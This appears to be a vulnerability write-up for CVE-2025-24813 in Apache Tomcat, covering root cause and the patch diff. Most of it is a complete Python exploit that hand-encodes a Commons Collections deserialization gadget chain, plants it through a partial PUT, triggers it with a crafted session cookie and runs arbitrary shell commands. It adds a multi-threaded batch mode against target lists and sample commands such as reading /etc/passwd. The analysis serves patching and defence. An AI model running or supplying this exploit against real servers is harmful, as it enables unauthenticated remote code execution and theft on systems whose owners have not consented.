#Summary

CVE-2025-24813 is a critical, unauthenticated remote code execution vulnerability in Apache Tomcat caused by path equivalence in temporary file naming combined with unsafe Java deserialization. An attacker with network access to a vulnerable Tomcat instance can plant a serialized Java object containing a gadget chain into the session file directory, trigger its deserialization by requesting a session, and execute arbitrary code as the Tomcat process user. CVSS 9.8 CRITICAL.

#Affected versions

Fixed in:

The vulnerability requires all of the following preconditions on the target:

  1. DefaultServlet configured with readonly=false (write support enabled; disabled by default)
  2. allowPartialPut=true (enabled by default)
  3. Session persistence enabled via PersistentManager with FileStore at the default directory="." setting
  4. A deserialization gadget library reachable from the web application class loader (Apache Commons Collections 3.1-3.2.1 is the canonical one)
  5. At least one request path that opens an HTTP session (e.g. a JSP page that calls request.getSession())

#Root cause analysis

#The two independent defects

Defect 1 - Attacker-controlled temporary filename.

When org.apache.catalina.servlets.DefaultServlet.doPut() detects a Content-Range header, it treats the request as a partial PUT and stages the body in a temporary file. The method executePartialPut() derives the temp filename by taking the request path and replacing every / with .. This creates an attacker-controlled filename with no traversal protection (the path is already normalised):

// Convert all '/' characters to '.' in resourcePath
String convertedResourcePath = path.replace('/', '.');
File contentFile = new File(tempDir, convertedResourcePath);
if (contentFile.createNewFile()) {
    // Clean up contentFile when Tomcat is terminated
    contentFile.deleteOnExit();
}

A PUT /NAME/session request therefore creates the file .NAME.session directly in the servlet context temporary directory. The mapping is not injective - /a/b/c, /a.b/c and /a/b.c all collapse to .a.b.c - giving the CVE its "path equivalence" and "internal dot" title.

Defect 2 - Temporary file outlives the request.

After the staged file is created and written, doPut() streams it into the real resource and closes the stream. It never deletes the temporary file. The only cleanup is deleteOnExit(), which fires when the JVM terminates. Crucially, the temp file is created before the real write is attempted, so it survives even when the write fails:

try {
    if (range == IGNORE) {
        resourceInputStream = req.getInputStream();
    } else {
        File contentFile = executePartialPut(req, range, path);
        resourceInputStream = new FileInputStream(contentFile);
    }

    if (resources.write(path, resourceInputStream, true)) {
        // ...
    } else {
        try {
            resp.sendError(HttpServletResponse.SC_CONFLICT);
        } // ...
    }
} finally {
    if (resourceInputStream != null) {
        try {
            resourceInputStream.close();
        } catch (IOException ioe) {
            // Ignore
        }
    }
}

A PUT /NAME/session to a non-existent parent directory returns 409 Conflict, but the staged file .NAME.session already exists in the filesystem.

#Why it becomes remote code execution

With PersistentManager and FileStore at their default configuration, Tomcat persists session objects into the same temporary directory where DefaultServlet stages partial PUTs:

private String directory = ".";
// ...
private File directory() throws IOException {
    // ...
    File file = new File(this.directory);
    if (!file.isAbsolute()) {
        Context context = manager.getContext();
        ServletContext servletContext = context.getServletContext();
        File work = (File) servletContext.getAttribute(ServletContext.TEMPDIR);
        file = new File(work, this.directory);
    }
    return file;
}

Session lookup is a simple string concatenation:

private File file(String id) throws IOException {
    File storageDir = directory();
    // ...
    String filename = id + FILE_EXT;  // FILE_EXT = ".session"
    File file = new File(storageDir, filename);
    return file;
}

So the planted .NAME.session file in the temp directory is loadable as session id .NAME. When a request arrives with Cookie: JSESSIONID=.NAME and calls request.getSession(), the chain reaches FileStore.load():

try (FileInputStream fis = new FileInputStream(file.getAbsolutePath());
        ObjectInputStream ois = getObjectInputStream(fis)) {

    StandardSession session = (StandardSession) manager.createEmptySession();
    session.readObjectData(ois);
}

The file is deserialized with ObjectInputStream.readObject() and no type restrictions. StandardSession.doReadObject() calls readObject() as its first action before any validation can occur:

protected void doReadObject(ObjectInputStream stream) throws ClassNotFoundException, IOException {
    authType = null; // Transient (may be set later)
    creationTime = ((Long) stream.readObject()).longValue();
    // ...
}

The gadget chain executes inside readObject(), before the (Long) cast has any chance to reject it. The deserialization uses a CustomObjectInputStream bound to the web application class loader, so any library in WEB-INF/lib is resolvable. Apache Commons Collections 3.2.1 provides a well-known gadget chain: HashSet -> TiedMapEntry.hashCode() -> LazyMap.get() -> ChainedTransformer -> Runtime.exec(String[]).

#Data flow

  1. Attacker-controlled planting: PUT /NAME/session with Content-Range: bytes 0-<N-1>/<N> and a serialized Java object as the body.
  2. File persistence: Temp file .NAME.session is created and survives the request (no delete(), only deleteOnExit()).
  3. Attacker-chosen deserialization source: GET <path> with Cookie: JSESSIONID=.NAME triggers session loading.
  4. Unfiltered deserialization: FileStore.load(".NAME") opens .NAME.session and calls ObjectInputStream.readObject() with the webapp class loader.
  5. Code execution: Gadget chain in the deserialized object runs during readObject(), before any type cast.

#Patch analysis

The fix (0a668e0c27f2b7ca0cc7c6eea32253b9b5ecb29c, "Enhance lifecycle of temporary files used by partial PUT") closes both defects in a single change:

#What the fix does

- String convertedResourcePath = path.replace('/', '.');
- File contentFile = new File(tempDir, convertedResourcePath);
- if (contentFile.createNewFile()) {
-     contentFile.deleteOnExit();
- }
+ File contentFile = File.createTempFile("put-part-", null, tempDir);

And in the doPut() method:

  InputStream resourceInputStream = null;
- 
+ File tempContentFile = null;
  try {
      // ...
-     File contentFile = executePartialPut(req, range, path);
-     resourceInputStream = new FileInputStream(contentFile);
+     tempContentFile = executePartialPut(req, range, path);
+     resourceInputStream = new FileInputStream(tempContentFile);
      // ...
  } finally {
      if (resourceInputStream != null) {
          try {
              resourceInputStream.close();
          } catch (IOException ioe) {
              // Ignore
          }
      }
+     if (tempContentFile != null) {
+         tempContentFile.delete();
+     }
  }

Two independent kills:

  1. File.createTempFile("put-part-", null, tempDir) removes attacker control of the filename. The new name is put-part-<random digits><random suffix>, so it can never end in .session, can never collide with another resource's staging file, and cannot be predicted by a second request.
  2. tempContentFile.delete() in the finally block removes the file immediately after the request ends, rather than waiting for JVM termination. Even a name that did collide would not survive long enough to be read by the session loader.

The patch was applied identically to all three maintained branches (11.0.x, 10.1.x, 9.0.x).

#Proof of concept

#exploit.py - Apache Tomcat Partial PUT RCE

The exploit works in two steps:

Step 1: Plant a serialized Commons Collections gadget chain via a partial PUT.

Step 2: Trigger deserialization by requesting a session-enabled endpoint with Cookie: JSESSIONID=.NAME.

The gadget payload is emitted byte-by-byte from the Java serialization protocol. It encodes the object graph HashSet -> TiedMapEntry.hashCode() -> LazyMap.get() -> ChainedTransformer -> Runtime.exec(String[]). During HashSet.readObject(), the set inserts its element, which hashes the TiedMapEntry, which calls map.get(key) on the LazyMap, which runs the transformer chain and executes the attacker's command.

The command output is made network-observable by having the gadget run /bin/sh -c "{ <command> ; } > <docroot>/<random>.txt 2>&1" and then fetching the output file over HTTP. A 200 with a non-empty body is proof of code execution.

#!/usr/bin/env python3
"""
CVE-2025-24813 - Apache Tomcat partial PUT path equivalence -> Java deserialization RCE
Affected: Apache Tomcat 9.0.0.M1-9.0.98, 10.1.0-M1-10.1.34, 11.0.0-M1-11.0.2, 8.5.0-8.5.100
Type: RCE (unauthenticated)

Root cause (re-derived from the Tomcat source at tag 9.0.98, not from any public PoC):

  DefaultServlet.executePartialPut() stages a partial PUT body in a temp file whose
  name is the request path with every '/' turned into '.'. A PUT to "/NAME/session"
  therefore creates ".NAME.session" directly in the servlet context temp directory,
  and the vulnerable build never deletes it (only deleteOnExit()). When the webapp
  uses PersistentManager + FileStore at the default directory ("."), that same temp
  directory is where sessions are read from, and FileStore.file(id) is id + ".session".
  So the planted file ".NAME.session" is loadable as session id ".NAME". Sending a
  request that opens a session with "Cookie: JSESSIONID=.NAME" makes FileStore.load()
  hand our bytes straight to ObjectInputStream.readObject() with no class filter,
  detonating a gadget chain resolvable from WEB-INF/lib (Commons Collections 3.2.1).

The serialized Commons Collections gadget below is emitted byte-by-byte from the Java
serialization protocol - it is not adapted from anyone else's serialized blob.

Usage:
  python exploit.py --host 127.0.0.1 --port 8080
  python exploit.py --host 127.0.0.1 --port 8080 --command "id"
  python exploit.py --host https://tomcat.corp.com:8443 --command "cat /etc/passwd"
  python exploit.py --host 10.0.0.5 --port 8080 --trigger-path /app/whoami.jsp
  python exploit.py --list targets.txt --workers 20

The RCE evidence is made network-observable: the gadget runs
  /bin/sh -c "<command> > <docroot>/<random>.txt 2>&1"
and the exploit then fetches GET /<random>.txt over HTTP and prints the body. A 200
whose body carries the command output is self-contained proof of code execution.
"""

import argparse
import secrets
import ssl
import struct
import sys
import time
from urllib.parse import urlparse

try:
    import requests
    from requests.packages.urllib3.exceptions import InsecureRequestWarning
    requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
except Exception:  # pragma: no cover - requests is a hard dependency
    print("This exploit requires the 'requests' package (pip install requests).")
    sys.exit(2)

CVE_ID    = "CVE-2025-24813"
VULN_TYPE = "RCE"

DEFAULT_TRIGGER_PATH = "/trigger.jsp"
DEFAULT_DOCROOT      = "/usr/local/tomcat/webapps/ROOT"


# --------------------------------------------------------------------------- #
#  Output helpers                                                             #
# --------------------------------------------------------------------------- #
def header(host, port):
    print("\n%s" % ("=" * 60))
    print("  ALIM EXPLOIT  %s" % CVE_ID)
    print("  Type: %s  |  Target: %s:%s" % (VULN_TYPE, host, port))
    print("%s\n" % ("=" * 60))


def step(n, msg):
    print("[STEP %d] %s" % (n, msg))


def section(label, content):
    print("\n--- %s ---" % label)
    print(str(content).strip())
    print("---\n")


def done(success, evidence):
    print("\n%s" % ("=" * 60))
    print("  RESULT  : %s" % ("SUCCESS" if success else "FAILURE"))
    print("  EVIDENCE: %s" % evidence)
    print("%s\n" % ("=" * 60))
    sys.exit(0 if success else 1)


# --------------------------------------------------------------------------- #
#  Java serialization stream writer                                           #
#                                                                             #
#  A minimal, reference-free encoder for the exact object graph we need.      #
#  Every class descriptor and type-signature string is written out in full    #
#  (no TC_REFERENCE back-pointers); the graph is a tree with no shared nodes, #
#  so this is byte-for-byte valid and much less error prone to build.         #
# --------------------------------------------------------------------------- #
TC_NULL         = 0x70
TC_CLASSDESC    = 0x72
TC_OBJECT       = 0x73
TC_STRING       = 0x74
TC_ARRAY        = 0x75
TC_CLASS        = 0x76
TC_BLOCKDATA    = 0x77
TC_ENDBLOCKDATA = 0x78

SC_WRITE_METHOD = 0x01
SC_SERIALIZABLE = 0x02

# serialVersionUIDs read out of commons-collections:3.2.1 and the JDK.
SUID = {
    "java.util.HashSet":     -5024744406713321676,
    "java.util.HashMap":      362498820763181265,
    "TiedMapEntry":          -8453869361373831205,
    "LazyMap":                7990956402564206740,
    "ChainedTransformer":     3514945074733160196,
    "ConstantTransformer":    6374440726369055124,
    "InvokerTransformer":    -8653385846894047688,
    "java.lang.String":      -6849794470754667710,
}

# Fully-qualified names.
CN = {
    "TiedMapEntry":       "org.apache.commons.collections.keyvalue.TiedMapEntry",
    "LazyMap":            "org.apache.commons.collections.map.LazyMap",
    "ChainedTransformer": "org.apache.commons.collections.functors.ChainedTransformer",
    "ConstantTransformer":"org.apache.commons.collections.functors.ConstantTransformer",
    "InvokerTransformer": "org.apache.commons.collections.functors.InvokerTransformer",
    "TransformerArray":   "[Lorg.apache.commons.collections.Transformer;",
}


class JavaSer(object):
    def __init__(self):
        self.b = bytearray()

    # -- primitives -------------------------------------------------------- #
    def u1(self, v):
        self.b.append(v & 0xFF)

    def u2(self, v):
        self.b += struct.pack(">H", v)

    def i4(self, v):
        self.b += struct.pack(">i", v)

    def i8(self, v):
        self.b += struct.pack(">q", v)

    def f4(self, v):
        self.b += struct.pack(">f", v)

    def utf(self, s):
        raw = s.encode("utf-8")
        self.u2(len(raw))
        self.b += raw

    def utf_string(self, s):
        """A TC_STRING object (used for String field values / string elements)."""
        self.u1(TC_STRING)
        self.utf(s)

    # -- class descriptors ------------------------------------------------- #
    def class_desc(self, name, suid, flags, fields):
        """
        fields: list of (typecode_char, field_name, signature_or_None).
        Reference-free: super is always null, no class annotations.
        """
        self.u1(TC_CLASSDESC)
        self.utf(name)
        self.i8(suid)
        self.u1(flags)
        self.u2(len(fields))
        for tc, fname, sig in fields:
            self.u1(ord(tc))
            self.utf(fname)
            if tc in ("L", "["):
                self.utf_string(sig)
        self.u1(TC_ENDBLOCKDATA)   # end of class annotations
        self.u1(TC_NULL)           # no superclass

    # -- Class objects (TC_CLASS) ----------------------------------------- #
    def class_ref_nonserial(self, name):
        """A java.lang.Class object for a non-serializable class (suid 0, flags 0)."""
        self.u1(TC_CLASS)
        self.class_desc(name, 0, 0, [])

    def class_ref_string(self):
        """Class object for java.lang.String (serializable, real suid)."""
        self.u1(TC_CLASS)
        self.class_desc("java.lang.String", SUID["java.lang.String"], SC_SERIALIZABLE, [])

    def class_ref_array(self, name):
        """Class object for an array type (arrays are serializable, suid 0)."""
        self.u1(TC_CLASS)
        self.class_desc(name, 0, SC_SERIALIZABLE, [])


# --------------------------------------------------------------------------- #
#  Object-graph emitters                                                       #
# --------------------------------------------------------------------------- #
def emit_hashmap_empty(s):
    """An empty java.util.HashMap (the map LazyMap decorates)."""
    s.u1(TC_OBJECT)
    s.class_desc("java.util.HashMap", SUID["java.util.HashMap"],
                 SC_SERIALIZABLE | SC_WRITE_METHOD,
                 [("F", "loadFactor", None), ("I", "threshold", None)])
    # default field values: loadFactor, threshold (both primitives, raw)
    s.f4(0.75)
    s.i4(12)
    # objectAnnotation from HashMap.writeObject: writeInt(buckets), writeInt(size)
    s.u1(TC_BLOCKDATA)
    s.u1(8)
    s.i4(16)   # buckets
    s.i4(0)    # size (empty)
    s.u1(TC_ENDBLOCKDATA)


def emit_class_array(s, class_emitters):
    """Object[] of java.lang.Class -> [Ljava.lang.Class;"""
    s.u1(TC_ARRAY)
    s.class_desc("[Ljava.lang.Class;", 0, SC_SERIALIZABLE, [])
    s.i4(len(class_emitters))
    for emit in class_emitters:
        emit(s)


def emit_object_array(s, elem_emitters):
    """Object[] -> [Ljava.lang.Object;"""
    s.u1(TC_ARRAY)
    s.class_desc("[Ljava.lang.Object;", 0, SC_SERIALIZABLE, [])
    s.i4(len(elem_emitters))
    for emit in elem_emitters:
        emit(s)


def emit_string_array(s, strings):
    """String[] -> [Ljava.lang.String;"""
    s.u1(TC_ARRAY)
    s.class_desc("[Ljava.lang.String;", 0, SC_SERIALIZABLE, [])
    s.i4(len(strings))
    for item in strings:
        s.utf_string(item)


def emit_invoker(s, method_name, param_type_emitters, arg_emitters):
    """org.apache.commons.collections.functors.InvokerTransformer

    Declared serializable fields in canonical (all-object, alphabetical) order:
      iArgs ([Ljava/lang/Object;), iMethodName (Ljava/lang/String;), iParamTypes ([Ljava/lang/Class;)
    """
    s.u1(TC_OBJECT)
    s.class_desc(CN["InvokerTransformer"], SUID["InvokerTransformer"], SC_SERIALIZABLE, [
        ("[", "iArgs",       "[Ljava/lang/Object;"),
        ("L", "iMethodName", "Ljava/lang/String;"),
        ("[", "iParamTypes", "[Ljava/lang/Class;"),
    ])
    # field values in the same order
    emit_object_array(s, arg_emitters)     # iArgs
    s.utf_string(method_name)              # iMethodName
    emit_class_array(s, param_type_emitters)  # iParamTypes


def emit_constant_runtime(s):
    """ConstantTransformer holding the java.lang.Runtime Class object."""
    s.u1(TC_OBJECT)
    s.class_desc(CN["ConstantTransformer"], SUID["ConstantTransformer"], SC_SERIALIZABLE, [
        ("L", "iConstant", "Ljava/lang/Object;"),
    ])
    s.class_ref_nonserial("java.lang.Runtime")   # iConstant = Runtime.class


def emit_transformer_array(s, command_argv):
    """[Lorg.apache.commons.collections.Transformer; holding the 4-step chain."""
    s.u1(TC_ARRAY)
    s.class_desc(CN["TransformerArray"], 0, SC_SERIALIZABLE, [])
    s.i4(4)

    # 0: ConstantTransformer(Runtime.class)
    emit_constant_runtime(s)

    # 1: InvokerTransformer("getMethod", [String.class, Class[].class], ["getRuntime", new Class[0]])
    emit_invoker(
        s, "getMethod",
        [lambda x: x.class_ref_string(),
         lambda x: x.class_ref_array("[Ljava.lang.Class;")],
        [lambda x: x.utf_string("getRuntime"),
         lambda x: emit_class_array(x, [])],
    )

    # 2: InvokerTransformer("invoke", [Object.class, Object[].class], [null, new Object[0]])
    emit_invoker(
        s, "invoke",
        [lambda x: x.class_ref_nonserial("java.lang.Object"),
         lambda x: x.class_ref_array("[Ljava.lang.Object;")],
        [lambda x: x.u1(TC_NULL),
         lambda x: emit_object_array(x, [])],
    )

    # 3: InvokerTransformer("exec", [String[].class], [ new String[]{...argv...} ])
    emit_invoker(
        s, "exec",
        [lambda x: x.class_ref_array("[Ljava.lang.String;")],
        [lambda x: emit_string_array(x, command_argv)],
    )


def emit_chained_transformer(s, command_argv):
    s.u1(TC_OBJECT)
    s.class_desc(CN["ChainedTransformer"], SUID["ChainedTransformer"], SC_SERIALIZABLE, [
        ("[", "iTransformers", "[Lorg/apache/commons/collections/Transformer;"),
    ])
    emit_transformer_array(s, command_argv)


def emit_lazy_map(s, command_argv):
    """LazyMap: custom writeObject writes the 'factory' field, then the decorated map."""
    s.u1(TC_OBJECT)
    s.class_desc(CN["LazyMap"], SUID["LazyMap"], SC_SERIALIZABLE | SC_WRITE_METHOD, [
        ("L", "factory", "Lorg/apache/commons/collections/Transformer;"),
    ])
    # default field value: factory
    emit_chained_transformer(s, command_argv)
    # objectAnnotation: out.writeObject(map) then end
    emit_hashmap_empty(s)
    s.u1(TC_ENDBLOCKDATA)


def emit_tied_map_entry(s, key, command_argv):
    """TiedMapEntry: fields (alphabetical) key (Object), map (Map)."""
    s.u1(TC_OBJECT)
    s.class_desc(CN["TiedMapEntry"], SUID["TiedMapEntry"], SC_SERIALIZABLE, [
        ("L", "key", "Ljava/lang/Object;"),
        ("L", "map", "Ljava/util/Map;"),
    ])
    s.utf_string(key)                 # key
    emit_lazy_map(s, command_argv)    # map


def build_payload(command_argv, key):
    """
    Build the full serialized stream for a HashSet whose single element is a
    TiedMapEntry that detonates the ChainedTransformer during HashSet.readObject().
    """
    s = JavaSer()
    s.b += b"\xac\xed\x00\x05"   # STREAM_MAGIC + STREAM_VERSION
    s.u1(TC_OBJECT)
    s.class_desc("java.util.HashSet", SUID["java.util.HashSet"],
                 SC_SERIALIZABLE | SC_WRITE_METHOD, [])
    # HashSet has no default serializable fields.
    # objectAnnotation from HashSet.writeObject: capacity(int), loadFactor(float), size(int)
    s.u1(TC_BLOCKDATA)
    s.u1(12)
    s.i4(16)       # capacity
    s.f4(0.75)     # loadFactor
    s.i4(1)        # size
    emit_tied_map_entry(s, key, command_argv)   # the single element
    s.u1(TC_ENDBLOCKDATA)
    return bytes(s.b)


# --------------------------------------------------------------------------- #
#  Exploit primitives                                                          #
# --------------------------------------------------------------------------- #
def _rand_name(n=10):
    alphabet = "abcdefghijklmnopqrstuvwxyz0123456789"
    return "".join(secrets.choice(alphabet) for _ in range(n))


def _base_url(host, port, use_tls):
    scheme = "https" if use_tls else "http"
    return "%s://%s:%d" % (scheme, host, port)


def _join(base_path, leaf):
    root = base_path.rstrip("/")
    return root + "/" + leaf.lstrip("/")


def _core(host, port, use_tls, base_path, trigger_path, docroot, command,
          timeout=20, verbose=False):
    """
    Plant -> trigger -> read back. Returns (success, evidence, output_text).
    Prints via step()/section() only when verbose=True; never calls sys.exit().
    """
    base = _base_url(host, port, use_tls)
    name = _rand_name()               # [a-z0-9] only -> session id ".name" has one dot at index 0
    marker = _rand_name()
    sess_id = "." + name

    # Command whose *effect* is network-observable: write output into the docroot,
    # then fetch it over HTTP. Runtime.exec must use the String[] form or the shell
    # redirection would be passed as a literal argument.
    marker_file = docroot.rstrip("/") + "/" + marker + ".txt"
    # Group the command so the redirect captures a compound command's full output,
    # not just the last element of a ';'-separated list.
    shell_cmd = "{ %s ; } > %s 2>&1" % (command, marker_file)
    argv = ["/bin/sh", "-c", shell_cmd]

    payload = build_payload(argv, key=_rand_name())
    n = len(payload)

    plant_url = base + _join(base_path, name + "/session")
    marker_url = base + _join(base_path, marker + ".txt")
    trigger_url = base + trigger_path

    sess = requests.Session()
    sess.trust_env = False

    # -- Step 1: plant the staging file via a partial PUT -------------------- #
    if verbose:
        step(1, "Planting deserialization payload via partial PUT (%d bytes) -> %s"
             % (n, plant_url))
    put_headers = {
        "Content-Range": "bytes 0-%d/%d" % (n - 1, n),
        "Content-Type": "application/octet-stream",
    }
    try:
        r1 = sess.put(plant_url, data=payload, headers=put_headers,
                      timeout=timeout, verify=False, allow_redirects=False)
    except requests.RequestException as e:
        return False, "unreachable during PUT (%s)" % e.__class__.__name__, ""

    if verbose:
        section("PLANT RESPONSE", "HTTP %d  (409/201/204 = staging file created)" % r1.status_code)

    if r1.status_code == 405:
        return False, "PUT returned 405 - DefaultServlet readonly=true (not exploitable)", ""
    if r1.status_code == 400:
        return False, "PUT returned 400 - allowPartialPut disabled or Content-Range rejected", ""
    if r1.status_code not in (409, 201, 204, 200):
        return (False,
                "unexpected PUT status %d - target may be patched or not writable" % r1.status_code,
                "")

    # -- Step 2: trigger deserialization (do NOT sleep - the file is reaped) - #
    if verbose:
        step(2, "Triggering deserialization: GET %s  with Cookie JSESSIONID=%s"
             % (trigger_url, sess_id))
    trig_headers = {"Cookie": "JSESSIONID=%s" % sess_id}
    try:
        r2 = sess.get(trigger_url, headers=trig_headers,
                      timeout=timeout, verify=False, allow_redirects=False)
        trig_status = r2.status_code
    except requests.RequestException as e:
        # Even a hard reset here can mean the chain ran; keep going to read the marker.
        trig_status = -1
        if verbose:
            section("TRIGGER", "request error (%s) - checking for command output anyway"
                    % e.__class__.__name__)

    if verbose and trig_status != -1:
        # 500 = deserialization path reached and the (Long) cast blew up after the chain ran.
        section("TRIGGER RESPONSE",
                "HTTP %d  (500 = payload was read and deserialised)" % trig_status)

    # -- Step 3: read the command output back over HTTP --------------------- #
    if verbose:
        step(3, "Reading command output over HTTP: GET %s" % marker_url)
    output = ""
    for _ in range(8):
        try:
            r3 = sess.get(marker_url, timeout=timeout, verify=False, allow_redirects=False)
        except requests.RequestException:
            time.sleep(0.7)
            continue
        if r3.status_code == 200 and r3.text.strip():
            output = r3.text
            break
        time.sleep(0.7)

    if output.strip():
        first = output.strip().splitlines()[0].strip()
        return True, "command '%s' executed - %s" % (command, first), output

    if trig_status == 500:
        return (False,
                "deserialization reached (HTTP 500) but no command output at %s - "
                "check --docroot / --command" % marker_url, "")
    if trig_status == 200:
        return (False,
                "trigger returned 200 (fresh session) - staged file missing/reaped or target patched",
                "")
    return False, "no command output retrieved (trigger status %s)" % trig_status, ""


# --------------------------------------------------------------------------- #
#  Single-target exploit                                                        #
# --------------------------------------------------------------------------- #
def exploit(host, port, use_tls, base_path, trigger_path, docroot, command):
    header(host, port)

    # Optional recon: PUT in the Allow header confirms readonly=false without writing.
    try:
        base = _base_url(host, port, use_tls)
        opt = requests.options(base + _join(base_path, "favicon.ico"),
                               timeout=10, verify=False, allow_redirects=False)
        allow = opt.headers.get("Allow", "")
        if allow:
            section("RECON  (OPTIONS Allow)",
                    "%s   %s" % (allow, "<- PUT present, writes enabled" if "PUT" in allow.upper()
                                 else "<- PUT absent, readonly may still be true"))
    except requests.RequestException:
        pass

    ok, evidence, output = _core(host, port, use_tls, base_path, trigger_path,
                                 docroot, command, verbose=True)
    if ok:
        section("COMMAND OUTPUT", output)
    else:
        section("RESULT DETAIL", evidence)
    done(ok, evidence)


# --------------------------------------------------------------------------- #
#  Scan mode                                                                    #
# --------------------------------------------------------------------------- #
def _try_exploit(host, port, use_tls, base_path="/", trigger_path=DEFAULT_TRIGGER_PATH,
                 docroot=DEFAULT_DOCROOT, command="id"):
    """Silent probe for --list mode. Returns (success, evidence). Never prints/exits."""
    try:
        ok, evidence, _ = _core(host, port, use_tls, base_path, trigger_path,
                                 docroot, command, verbose=False)
        return ok, evidence
    except Exception as e:  # pragma: no cover - defensive, scan must not crash
        return False, "error (%s)" % e.__class__.__name__


def _parse_target(line, default_port, default_path="/"):
    """One target line -> (host, port, use_tls, path), or None to skip."""
    line = line.strip()
    if not line or line.startswith("#"):
        return None
    if line.startswith(("http://", "https://")):
        p = urlparse(line)
        tls = p.scheme == "https"
        path = p.path if (p.path and p.path not in ("", "/")) else default_path
        return p.hostname, p.port or (443 if tls else default_port), tls, path
    if ":" in line:
        parts = line.rsplit(":", 1)
        try:
            port = int(parts[1])
            return parts[0], port, port in (443, 8443), default_path
        except ValueError:
            pass
    return line, default_port, default_port in (443, 8443), default_path


def scan(targets_file, default_port, workers, trigger_path, docroot, command):
    import concurrent.futures

    with open(targets_file) as f:
        targets = [_parse_target(l, default_port) for l in f]
    targets = [t for t in targets if t is not None]

    print("\n%s" % ("=" * 60))
    print("  %s - Batch Scan  (%d targets, %d workers)" % (CVE_ID, len(targets), workers))
    print("%s\n" % ("=" * 60))

    success_count = 0

    def probe(t):
        host, port, use_tls, path = t
        label = "%s://%s:%s" % ("https" if use_tls else "http", host, port)
        ok, evidence = _try_exploit(host, port, use_tls, base_path=path,
                                    trigger_path=trigger_path, docroot=docroot,
                                    command=command)
        return label, ok, evidence

    with concurrent.futures.ThreadPoolExecutor(max_workers=workers) as ex:
        futures = {ex.submit(probe, t): t for t in targets}
        for fut in concurrent.futures.as_completed(futures):
            label, ok, evidence = fut.result()
            print("  %s %s - %s: %s" % ("[+]" if ok else "[-]", label,
                                        "Exploited" if ok else "Not vulnerable", evidence))
            if ok:
                success_count += 1

    total = len(targets)
    print("\n%s" % ("=" * 60))
    print("  SCAN COMPLETE  %d exploited / %d not vulnerable  (%d total)"
          % (success_count, total - success_count, total))
    print("%s\n" % ("=" * 60))
    sys.exit(0 if success_count > 0 else 1)


# --------------------------------------------------------------------------- #
#  CLI                                                                          #
# --------------------------------------------------------------------------- #
if __name__ == "__main__":
    parser = argparse.ArgumentParser(description="%s exploit PoC" % CVE_ID)
    target_grp = parser.add_mutually_exclusive_group(required=True)
    target_grp.add_argument("--host", help="Target: hostname, IP, or full URL (e.g. https://host:8443)")
    target_grp.add_argument("--list", metavar="FILE", help="File with one target per line for batch scan")
    parser.add_argument("--port", type=int, default=8080, help="Default port (default: 8080)")
    parser.add_argument("--command", default="id",
                        help="Command to execute on the target (default: id)")
    parser.add_argument("--trigger-path", default=DEFAULT_TRIGGER_PATH,
                        help="A path in the app that calls request.getSession() "
                             "(default: %s)" % DEFAULT_TRIGGER_PATH)
    parser.add_argument("--docroot", default=DEFAULT_DOCROOT,
                        help="Web-served, writable directory for the evidence file "
                             "(default: %s)" % DEFAULT_DOCROOT)
    parser.add_argument("--base-path", default="/",
                        help="Context path prefix of the target webapp (default: /)")
    parser.add_argument("--workers", type=int, default=10, help="Threads for --list mode (default: 10)")
    tls_grp = parser.add_mutually_exclusive_group()
    tls_grp.add_argument("--tls", action="store_true", help="Force TLS")
    tls_grp.add_argument("--no-tls", action="store_true", help="Force plaintext")
    args = parser.parse_args()

    if args.list:
        scan(args.list, default_port=args.port, workers=args.workers,
             trigger_path=args.trigger_path, docroot=args.docroot, command=args.command)
    else:
        parsed = _parse_target(args.host, args.port, default_path=args.base_path)
        host, port, use_tls, path = parsed if parsed else (args.host, args.port, False, args.base_path)
        if args.tls:
            use_tls = True
        if args.no_tls:
            use_tls = False
        exploit(host, port, use_tls, path, args.trigger_path, args.docroot, args.command)

#Usage

# Single target, default command "id"
python3 exploit.py --host 127.0.0.1 --port 8080

# Real target over TLS, arbitrary command
python3 exploit.py --host https://tomcat.corp.example:8443 --command "cat /etc/passwd"

# Point at a different session-touching endpoint and docroot
python3 exploit.py --host 10.0.0.5 --port 8080 \
    --trigger-path /app/whoami.jsp --docroot /opt/tomcat/webapps/ROOT

# Batch scan an asset list
python3 exploit.py --list targets.txt --workers 20

#Example output

============================================================
  ALIM EXPLOIT  CVE-2025-24813
  Type: RCE  |  Target: 127.0.0.1:8080
============================================================

[STEP 1] Planting deserialization payload via partial PUT (1904 bytes) -> http://127.0.0.1:8080/rvysuvrsxi/session
--- PLANT RESPONSE ---
HTTP 409  (409/201/204 = staging file created)
---

[STEP 2] Triggering deserialization: GET http://127.0.0.1:8080/trigger.jsp  with Cookie JSESSIONID=.rvysuvrsxi
--- TRIGGER RESPONSE ---
HTTP 500  (500 = payload was read and deserialised)
---

[STEP 3] Reading command output over HTTP: GET http://127.0.0.1:8080/j7bu701944.txt
--- COMMAND OUTPUT ---
uid=0(root) gid=0(root) groups=0(root)
---

============================================================
  RESULT  : SUCCESS
  EVIDENCE: command 'id' executed - uid=0(root) gid=0(root) groups=0(root)
============================================================

#Exploitation notes

#Preconditions

All five of these must be true on the target:

  1. DefaultServlet configured with readonly=false (writes enabled; disabled by default, so this is a deliberate deployment choice)
  2. allowPartialPut=true (enabled by default)
  3. Session persistence via PersistentManager with FileStore at default directory="." (so sessions are stored in the servlet context temp directory)
  4. A deserialization gadget library in the application classpath (Apache Commons Collections 3.1-3.2.1 is the standard one)
  5. An endpoint that opens an HTTP session (any JSP or servlet that calls request.getSession())

#Reliability

The exploit is deterministic. No memory layout knowledge, ASLR defeat, or timing races are needed beyond planting and triggering back-to-back. The serialized gadget chain executes during readObject() before any type validation, so a correct exploit succeeds on the first attempt.

A single caveat: Tomcat's PersistentManager runs a background reaper cycle (processExpires()) every 60 seconds to delete unloadable session files. If this cycle fires between the plant step and the trigger step, the staged file is deleted and the exploit reports "staged file missing/reaped or target patched" - a false negative on a vulnerable host. Using a fresh NAME on retry eliminates this race.

#Impact

Full unauthenticated remote code execution as the Tomcat process user (often root in containerized deployments). The gadget chain is flexible - any library offering serialization gadgets can be substituted in place of Commons Collections.

#Chaining potential

This vulnerability requires no chaining. It is a complete RCE primitive by itself. However, it can be chained from other bugs that allow file writes to DefaultServlet staging directories, or to privilege escalation if the Tomcat process runs with elevated privileges.

#References